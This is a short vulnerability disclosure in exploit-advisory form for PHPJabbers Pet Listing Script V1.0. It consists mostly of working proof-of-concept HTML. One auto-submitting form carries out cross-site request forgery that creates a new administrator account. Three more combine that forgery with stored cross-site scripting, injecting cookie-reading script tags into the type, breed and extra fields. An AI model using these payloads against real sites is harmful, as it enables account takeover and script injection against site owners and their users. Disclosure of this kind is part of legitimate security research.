1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
Pet Listing Script V1.0 - Multiple Vulnerabilities ==================================================================== #################################################################### .:. Author : HackXBack .:. Contact: h-b@usa.com .:. Home : http://www.iphobos.com/blog/ .:. Script : http://www.phpjabbers.com/pet-listing-script/ #################################################################### ===[ Exploit ]=== [1] Cross Site Request Forgery ============================== [Add Admin] <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action=" http://site/index.php?controller=AdminUsers&action=create"> <input type="hidden" name="user_create" value="1"/> <input type="hidden" name="role_id" value="1"/> <input type="hidden" name="username" value="Admin"/> <input type="hidden" name="password" value="Password"/> <input type="hidden" name="status" value="T"/> </form> </body> </html> [2] Multiple Cross Site Scripting ================================== # CSRF with XSS Exploit: I. Xss In Type <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action=" http://site/index.php?controller=AdminTypes&action=create"> <input type="hidden" name="type_create" value="1"/> <input type="hidden" name="type_title" value="<script>alert(document.cookie);</script>"/> </form> </body> </html> II. Xss In Breed <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action=" http://site/index.php?controller=AdminBreeds&action=create"> <input type="hidden" name="breed_create" value="1"/> <input type="hidden" name="breed_title" value="<script>alert(document.cookie);</script>"/> <input type="hidden" name="type_id" value="2"/> </form> </body> </html> III. Xss In Extra <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action=" http://site/index.php?controller=AdminExtras&action=create"> <input type="hidden" name="extra_create" value="1"/> <input type="hidden" name="extra_title" value="<script>alert(document.cookie);</script>"/> </form> </body> </html> #################################################################### |